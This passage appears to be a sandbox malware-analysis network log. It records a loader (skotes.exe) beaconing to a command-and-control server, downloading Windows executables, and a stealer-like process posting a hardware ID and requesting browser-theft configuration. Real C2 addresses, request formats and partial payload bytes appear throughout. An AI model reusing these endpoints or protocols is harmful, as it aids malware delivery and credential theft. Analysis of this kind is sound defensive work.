Nov 24, 2024 10:24:24.786196947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:24.786207914 CET	272	IN	Data Raw: e1 1d 3f 1f 9a 07 4e d1 19 ac a2 07 a3 ff 82 27 75 b7 b4 b9 ad 9c a7 ea 7d 42 81 08 ca c8 d4 0c 48 43 b1 e3 7d 36 e0 4b b3 47 04 ab 45 a3 f1 7d 75 f6 48 14 d7 4d f5 22 d3 fb bc e7 89 47 15 d2 cf 05 57 69 4c 3f 73 87 0f b6 4f 22 c8 d1 74 eb 96 92 Data Ascii: ?N'u}BHC}6KGE}uHM"GWiL?sO"t}\|+!S%f7U\$8`n:tS[Cf?8k0-1L"5J:8(,6F_hPh3>~:9gFt<+3=h>vicJ^80JSi
Nov 24, 2024 10:24:24.786287069 CET	1236	IN	Data Raw: 27 66 b9 ff 20 0b a9 57 ca 98 15 03 c9 a1 55 38 11 ae 12 23 83 f1 54 eb dd 5b 93 e3 98 04 57 a7 53 bd 63 3c f7 31 a8 09 55 b6 0f 44 34 25 c9 48 7e 1f 10 d8 17 51 c1 6e 5d fa d9 3e 43 1f 1f c1 2f 37 ed db 9e 86 55 c9 c9 31 79 b2 64 7a 6d 3b 00 40 Data Ascii: 'f WU8#T[WSc<1UD4%H~Qn]>C/7U1ydzm;@~++@Z #<n%Q?eu1CT?]PWE-4p0z}*4Ia6H$@{a8N#XKTH%/]Urk/J
Nov 24, 2024 10:24:24.786318064 CET	1236	IN	Data Raw: 09 66 b4 5d f0 42 39 b9 26 54 ce b1 3c 5b af 82 ae dc 20 2b b3 34 b0 da 0f 42 54 84 7b 41 7b 40 b5 68 79 72 89 c2 de 73 41 99 00 1b bd a3 ab 3f f5 30 32 5f 3d 94 5b 4c ef ed e5 d7 0d 85 1f f2 13 59 b1 6d ab 2e ae 00 b2 c5 e6 4c 13 6b a2 7e 7c c0 Data Ascii: f]B9&T<[ +4BT{A{@hyrsA?02_=[LYm.Lk~\|?`5B3^j<;6&7Q?=0}cNj}6eA}+\|WWIT[2Vwj!}A9$#h"V8*UFrdu1m! <
Nov 24, 2024 10:24:24.786330938 CET	1236	IN	Data Raw: 9f 8c 35 0f 48 1a a4 f2 03 1a ad 03 d2 c6 e2 d6 ba 54 c4 f2 54 6d d4 5b 71 bb 97 4f 88 4b 7b 8e a6 f4 6d f7 27 17 ff a0 93 f5 45 7d 33 3c fb bd b1 4b 9b d8 08 6b a3 6a b1 73 8e b3 04 3d 68 a0 28 91 aa c5 eb 43 9d fd ac 4c a1 3b 1e a5 0d 8f 81 0a Data Ascii: 5HTTm[qOK{m'E}3<Kkjs=h(CL;\=<q{oTyIE)g}9&[-lA+,_>d^mqf)Ku=K&T$C>w\V8mQ^?=d8rr}&_z(b(s1
Nov 24, 2024 10:24:24.786343098 CET	1236	IN	Data Raw: ba 94 55 6f c0 bd 72 83 e8 49 f8 83 46 ad 80 e0 57 fc 80 98 d8 97 17 f7 d4 04 7e da 39 23 79 e4 cf f1 34 84 10 0b e6 fb 36 93 65 dc 9a 07 e7 65 5e f6 92 0d b6 d5 c8 32 7a a4 f5 07 ca f6 50 8c ce 63 8e 02 e2 93 6d ce bc 28 6c 2c dc cb c3 49 9a 40 Data Ascii: UorIFW~9#y46ee^2zPcm(l,I@^yJTSMIcC`)sWFo-:I9\|G[Tq>y?I"RuPR6pi@#3d<5K8nVVn0u&^li*8fC{zn9+7S8n:K(
Nov 24, 2024 10:24:24.905435085 CET	1236	IN	Data Raw: 6b f6 68 bc c4 aa 5d b5 3d 91 f4 e5 c6 6a bc f4 84 dc 3b 1e a7 5c 5c 5b d7 34 c1 fb d7 f6 78 1b f2 87 d2 d3 b5 c9 fa b0 5b 28 62 e2 17 64 de fa bb 8c 93 eb bd 7c 50 7f 8d 28 53 ab 1e 2d c4 67 8c 30 c6 fb 7f 84 62 47 7c 6a 0f 27 30 47 e6 cd c3 ff Data Ascii: kh]=j;\\[4x[(bd\|P(S-g0bG\|j'0G}?=kT+E90Fh'P-5N}y5/:\TC<i~M([-dMiJqLp_zV:UE#.FK0@aKDb@/%=uKA8Uj$Qv^f->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49873	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:36.294286013 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008718001&unit=246122658369
Nov 24, 2024 10:24:37.645335913 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49879	185.215.113.16	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:37.770291090 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 10:24:39.167148113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:38 GMT Content-Type: application/octet-stream Content-Length: 1762304 Last-Modified: Sun, 24 Nov 2024 08:21:24 GMT Connection: keep-alive ETag: "6742e204-1ae400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 f0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 68 00 00 04 00 00 db b4 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$g@ h@M$a$$ $b@.rsrc$r@.idata $t@ )$v@hnbmjddzPNFx@fhrijgtrg@.taggant0g"@
Nov 24, 2024 10:24:39.167172909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:39.167187929 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:39.167324066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:39.167345047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:39.167372942 CET	1236	IN	Data Raw: 7a 31 30 09 7c 41 92 fd 6a 39 c3 f1 62 31 5b e5 e8 39 c7 d3 ca 21 09 de 73 2f dd be 6a f5 55 63 46 ed b5 c3 43 fe 3c b5 a2 45 2c 56 a1 08 35 d6 43 3c 21 e6 d8 75 0e 1c 4a 43 58 11 9f 45 d4 10 22 4c 30 08 22 c7 54 c6 5d ce 0d 15 74 07 31 0e af f8 Data Ascii: z10\|Aj9b1[9!s/jUcFC<E,V5C<!uJCXE"L0"T]t1/bBPW-w61)-\:j`_EaC/&Bp#MM+'1F:L7Xjv5m>{EB8e5(-~Bsu`2fjqE0A`qC\;hG
Nov 24, 2024 10:24:39.167390108 CET	1236	IN	Data Raw: 64 c6 d5 dd 06 69 fc 51 ec 30 31 8a a8 06 f3 61 cc 45 fa cd 7f 3f 68 53 e7 57 10 d4 fe 6e 2f 03 e7 fe 88 f9 a6 e5 16 19 ab 73 98 66 d2 53 6c 4b 57 f9 53 04 97 2d 3e 9c da f8 ce 7d b3 f5 ac a1 a6 30 92 eb 81 79 0b f7 86 80 64 72 62 bc 52 73 18 d5 Data Ascii: diQ01aE?hSWn/sfSlKWS->}0ydrbRsKFs;0;Gn&ye^l1&1edWod(9NX_Ge1_+up6~/1>pr\C?EA,AO:F2GiVA/
Nov 24, 2024 10:24:39.167407036 CET	1236	IN	Data Raw: a3 21 09 6d 71 4a a4 07 2b 9a 55 51 dc 21 b5 0f 71 f5 04 1d e8 b2 3f d6 9c 00 cd 51 71 0d 17 49 e0 6b 29 41 e2 31 94 bd 9f 25 17 d1 df 42 10 2c a0 43 d0 e6 5e e4 0f f3 65 52 dc d3 cb 3d 14 de 7c 59 18 70 83 7c 36 bd 77 ce 65 0d 63 3f 40 0f 07 b5 Data Ascii: !mqJ+UQ!q?QqIk)A1%B,C^eR=\|Yp\|6wec?@3%qd6~=8Q}v;E9n=(\|&iz{*9Wo6SKD1<>m4ZfkK$S={B Q}\|ig1\J?mD,V:'\|2Vnk-}3
Nov 24, 2024 10:24:39.167423964 CET	1236	IN	Data Raw: 83 99 0a 0f df 51 34 0f 9d 33 18 d2 63 49 0a 0f fb 51 04 0f 81 1d 08 70 ac d1 36 e6 0e 3a 24 d5 35 b3 58 e1 9c 50 34 e3 a2 c9 39 92 6e da a5 61 33 3f 15 b9 63 05 7f 5d 0a bd 58 3d 9f 51 0c 9d 66 0b 17 59 87 c2 07 0d c0 59 fc e2 96 6e f8 d4 b2 ac Data Ascii: Q43cIQp6:$5XP49na3?c]X=QfYYnc?HJa-t9hWn!Uqk:2UmrqJ9UKkV}%3Vs\|&YB8#d[ztnq(qk9,j?:%cUi=k->ST&6y/1Bo
Nov 24, 2024 10:24:39.167442083 CET	1236	IN	Data Raw: 71 f1 78 0f 2b 51 78 28 7f e1 fe 35 c0 01 14 e3 bb 31 e4 56 eb cb 88 a4 83 21 0b ef 82 60 16 91 e3 6b 80 0d 0e 81 38 04 bf c9 0a 65 e6 b2 6a 29 e2 2c 84 36 dc 42 68 d5 8e ca 65 2a 64 b9 20 45 e3 a5 36 8d e5 4d 3b f2 64 4d 74 e3 6a bd 7e 41 cc 39 Data Ascii: qx+Qx(51V!`k8ej),6Bhe*d E6M;dMtj~A9%WJm5D~`yaDUztQq%ya<KuJ?6!wKq?4Q}%}d1)};H#o7lq!%1,6xey
Nov 24, 2024 10:24:39.286757946 CET	1236	IN	Data Raw: 7e 6d 81 4c e5 3a 7b ea 7b be f6 e5 ce 3a 20 0f a0 8f 05 f3 7b a3 f6 e2 16 39 38 59 e4 79 fc e7 ea 7c 77 e3 dc 71 19 75 63 55 2e 13 60 0b 37 15 9b 3f d8 70 b6 fd 3a 37 8b 0b 76 e3 ba 31 74 6e 9d 37 4c 6a ef ca 0a 69 63 41 38 56 53 0a 27 70 e5 cd Data Ascii: ~mL:{{: {98Yy\|wqucU.`7?p:7v1tn7LjicA8VS'pvT>=>J\|r.Kd6?Ln<6l=M]UJ>P}!c\|(Z@6lMqJJ K={p(YEva4\|JZ9q6(3yd7ZH}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49896	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:44.808945894 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008719001&unit=246122658369
Nov 24, 2024 10:24:46.204979897 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49897	185.215.113.16	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:46.347331047 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 10:24:47.729696989 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:47 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Sun, 24 Nov 2024 09:22:50 GMT Connection: keep-alive ETag: "6742f06a-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 f0 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELbBg"fw@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 24, 2024 10:24:47.729747057 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 24, 2024 10:24:47.732225895 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 24, 2024 10:24:47.732285976 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 24, 2024 10:24:47.732300043 CET	1236	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 24, 2024 10:24:47.732347965 CET	1236	IN	Data Raw: 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 8b 7d 08 8d 45 ff 50 8d 45 f8 c7 45 Data Ascii: huIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M
Nov 24, 2024 10:24:47.732359886 CET	1236	IN	Data Raw: 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 0f 84 72 05 04 00 83 e8 01 0f 84 14 Data Ascii: 99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE
Nov 24, 2024 10:24:47.732372046 CET	1236	IN	Data Raw: ff 74 1d 8d 4f 20 e8 2c a7 00 00 8d 4f 10 e8 24 a7 00 00 6a 38 57 e8 49 d5 01 00 8b 45 fc 59 59 89 46 04 88 5e 09 ff 0e 5f 5e 5b c9 c3 b3 01 eb f2 55 8b ec 57 8b f9 80 7f 09 00 0f 85 0a 02 04 00 56 6a 38 e8 29 d5 01 00 59 ff 75 08 8b f0 8b ce e8 Data Ascii: tO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}
Nov 24, 2024 10:24:47.732383013 CET	1236	IN	Data Raw: a3 94 13 4d 00 ff 15 20 c7 49 00 a3 08 19 4d 00 8d 45 f4 50 c7 45 f4 08 00 00 00 c7 45 f8 3b 01 00 00 ff 15 ac c0 49 00 6a 01 6a 01 6a 21 6a 10 6a 10 ff 15 b0 c0 49 00 68 a9 00 00 00 ff 35 04 19 4d 00 a3 5c 19 4d 00 ff 15 34 c7 49 00 50 6a ff ff Data Ascii: M IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWhP1IP}=_^UX`dMVuWG~"uQVqYPVw
Nov 24, 2024 10:24:47.732395887 CET	900	IN	Data Raw: fe ff ff e8 37 0a 00 00 33 c0 eb c1 6a 00 68 ee 02 00 00 6a 01 56 ff 15 24 c7 49 00 68 d4 ca 49 00 ff 15 20 c7 49 00 83 3d 90 19 4d 00 00 a3 28 25 4d 00 75 d3 ff 15 1c c7 49 00 a3 90 19 4d 00 eb c6 ff 75 0c 51 51 56 b9 90 19 4d 00 e8 0c 00 00 00 Data Ascii: 73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPu
Nov 24, 2024 10:24:47.849298954 CET	1236	IN	Data Raw: c2 08 00 55 8b ec 83 ec 14 56 57 8b f9 8d 4d ec e8 b7 73 00 00 8b 4d 08 8d 55 ec e8 ed 04 00 00 33 f6 39 77 20 0f 87 2b fd 03 00 8d 45 ec 50 8d 4f 18 e8 93 1b 00 00 8d 45 08 c7 45 08 01 00 00 00 50 8d 4f 28 e8 14 00 00 00 8b 77 20 4e 8d 4d ec e8 Data Ascii: UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;sF3FWQ~Y~_SYMVNF^[]MMMSVW3MhXIMf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49898	185.215.113.206	80	3172	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:46.359630108 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 10:24:47.699968100 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:24:47.703155994 CET	411	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAF Host: 185.215.113.206 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 46 31 37 34 37 34 36 37 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="hwid"0EF1747467AB69161091------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="build"mars------DAKEHIJJKEGIDHIEHDAF--
Nov 24, 2024 10:24:48.152260065 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 32 5a 6b 4d 44 49 7a 4f 44 52 6a 4f 44 55 78 4d 47 46 6c 4d 32 4d 30 4d 7a 51 77 4e 7a 5a 6d 4d 47 4d 35 4d 32 45 30 59 7a 6b 79 5a 57 56 69 4e 6d 51 30 4d 7a 51 30 59 7a 46 68 5a 6a 6c 6b 4e 6a 52 6a 59 54 52 6c 4e 57 5a 69 5a 57 59 30 4e 54 5a 68 4e 7a 4d 35 5a 6a 55 77 4e 6d 59 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: M2ZkMDIzODRjODUxMGFlM2M0MzQwNzZmMGM5M2E0YzkyZWViNmQ0MzQ0YzFhZjlkNjRjYTRlNWZiZWY0NTZhNzM5ZjUwNmY4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 10:24:48.154090881 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"browsers------CAAEBKEGHJKEBFHJDBFC--
Nov 24, 2024 10:24:48.595416069 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 